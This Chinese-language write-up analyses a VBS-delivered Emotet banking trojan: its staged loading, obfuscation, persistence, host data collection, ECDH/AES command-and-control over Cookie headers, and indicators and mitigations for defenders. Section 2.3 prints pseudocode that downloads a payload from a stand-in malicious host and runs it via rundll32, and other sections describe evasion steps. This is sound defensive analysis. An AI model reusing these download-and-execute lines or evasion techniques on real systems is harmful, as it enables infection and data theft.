vbs脚本传播银行木马变体样本分析
字数 2076 2025-08-20 18:17:41
VBS脚本传播银行木马变体样本分析技术文档
1. 样本概述
本分析文档详细解析了一个通过VBS脚本传播的银行木马变体样本,该样本采用多阶段攻击方式,最终实现与C2服务器的加密通信。样本具有以下特点:
- 使用高度混淆的VBS脚本作为初始攻击载体
- 采用多阶段加载机制
- 使用控制流平坦化等反分析技术
- 实现ECDH密钥交换和AES加密通信
- 具备持久化和信息收集能力
2. 第一阶段:VBS脚本分析
2.1 初始混淆结构
样本开始部分定义了三个变量,通过重新构造和组合后,最终生成关键值:
NbCTQqd = "wscrilqpt.exe //E:vbscript"
2.2 文件系统操作
脚本使用以下方法创建文件系统对象和临时文件:
Set fso = CreateObject("Scripting.FileSystemObject")
tempFilePath = "C:\Users\[User]\AppData\Local\Temp\tmp123454321pmt.txt"
Set file = fso.CreateTextFile(tempFilePath)
2.3 下载和执行机制
解混淆后可见脚本核心功能:
- 从指定URL下载payload
- 使用
rundll32.exe执行下一阶段恶意软件
' 伪代码表示实际功能
Download "http://malicious-site.com/payloads"
Execute "rundll32.exe payload.dll,Control_RunDLL"
3. 第二阶段:Emotet DLL分析
3.1 文件基本信息
- 32位DLL文件
- 使用rundll32.exe加载,参数为
Control_RunDLL - 入口点函数调用
DllMain()
3.2 核心DLL加载机制
- 从资源中加载并解密32位DLL到内存
- 解密后的DLL称为"X.dll"(基于硬编码字符串命名)
- 可使用System Informer等工具进行内存转储
3.3 导出函数检查逻辑
if (strcmp(ExportFunctionName, "Control_RunDLL") != 0) {
// 重新使用Control_RunDLL参数执行
CreateProcessW("C:\\Windows\\syswow64\\rundll32.exe emotet.dll,Control_RunDLL");
ExitProcess(0);
}
4. X.dll深度分析
4.1 控制流平坦化混淆
- 主函数
sub_1001FCD8(重命名为Flatten_func)使用控制流平坦化技术 - 可使用IDAPython脚本在所有call指令处下断点进行分析:
import idautils
import idaapi
import idc
def add_breakpoints_on_calls(func_name):
func_ea = idc.get_name_ea_simple(func_name)
if func_ea == idc.BADADDR:
print(f"Function {func_name} not found!")
return
func = idaapi.get_func(func_ea)
if not func:
print("Function not found!")
return
for head in idautils.Heads(func.start_ea, func.end_ea):
if idc.print_insn_mnem(head) == "call":
idc.add_bpt(head)
print(f"Breakpoint added at 0x{head:x}")
add_breakpoints_on_calls("Flatten_func")
4.2 字符串和API混淆技术
- 所有字符串在运行时解密
- API动态加载,避免静态分析检测
- 示例:解密"advapi32.dll"字符串后使用
LoadLibraryW加载
4.3 路径检查和自复制
- 检查执行路径是否为
%AppData% - 若非AppData路径,执行以下操作:
- 使用
SHGetFolderPathW获取AppData路径 - 使用
GetCommandLineW检查参数 - 使用
CreateFileW和GetFileInformationByHandleEx获取自身信息 - 生成随机文件名
- 使用
SHFileOperationW复制文件 - 使用
DeleteFileW删除Zone标识符
- 使用
- 使用
CreateProcessW重新执行自身后退出
5. 持久化与信息收集
5.1 持久化机制
- 将x.dll复制到
%appdata%随机命名的文件夹中 - 添加.xnj扩展名
- 再次使用rundll32执行
5.2 信息收集功能
收集的系统信息包括:
- 计算机名 (
GetComputerNameA) - Windows目录 (
GetWindowsDirectoryW) - 卷信息 (
GetVolumeInformationW) - 桌面名称和MAC地址哈希
- 窗口路径
数据格式化为用分号分隔的字符串:
[计算机名];[Windows目录];[卷信息];[桌面名称哈希];[MAC地址];[窗口路径]
6. 加密通信机制
6.1 密钥生成
- 使用椭圆曲线密码学(ECDH):
- 生成ECDH私钥
- 使用嵌入的ECDH公钥
- 通过
BCryptSecretAgreement生成共享密钥
- 使用
BCryptDeriveKey从共享密钥派生AES密钥
6.2 C2通信流程
-
数据准备:
- 组合收集的系统信息
- 使用派生的AES密钥加密数据
- Base64编码加密结果
-
通信方式:
- 使用WinINet API发送请求
- 小数据使用GET请求,大数据使用POST请求
- 数据在Cookie头中发送
- URI随机生成
-
Cookie头格式:
Cookie: [随机密钥名]=[Base64编码值]Base64解码后包含:
- 生成的ECDH公钥
- AES加密的请求数据
- 随机字节
7. 反分析技术总结
-
代码混淆:
- VBS脚本高度混淆
- 控制流平坦化
- 字符串加密
-
动态加载:
- 所有API动态解析
- 使用哈希比较而非函数名
-
环境感知:
- 检查执行路径
- 非预期环境自复制并重新执行
-
清理痕迹:
- 删除临时文件
- 移除Zone标识符
8. 检测与缓解建议
8.1 检测指标
-
文件指标:
%AppData%中随机命名的.xnj文件- 临时目录中的可疑文本文件
-
网络指标:
- Cookie中包含Base64编码的随机密钥
- 非常规URI请求
-
行为指标:
- Rundll32异常调用模式
- 大量文件系统操作后自删除
8.2 缓解措施
-
预防:
- 禁用不必要的脚本执行
- 限制rundll32执行权限
-
检测:
- 监控异常进程创建链
- 检测控制流平坦化模式
-
响应:
- 隔离受感染系统
- 检查AppData中的可疑文件
- 分析网络连接中的异常加密通信
9. 分析工具推荐
-
静态分析:
- IDA Pro(配合反混淆脚本)
- DIE(Detect It Easy)
-
动态分析:
- System Informer(原Process Hacker)
- Process Monitor
-
网络分析:
- Wireshark
- Fiddler
-
内存分析:
- Volatility
- Rekall
-
脚本工具:
- IDAPython(用于自动化分析)
- PowerShell(用于行为监控)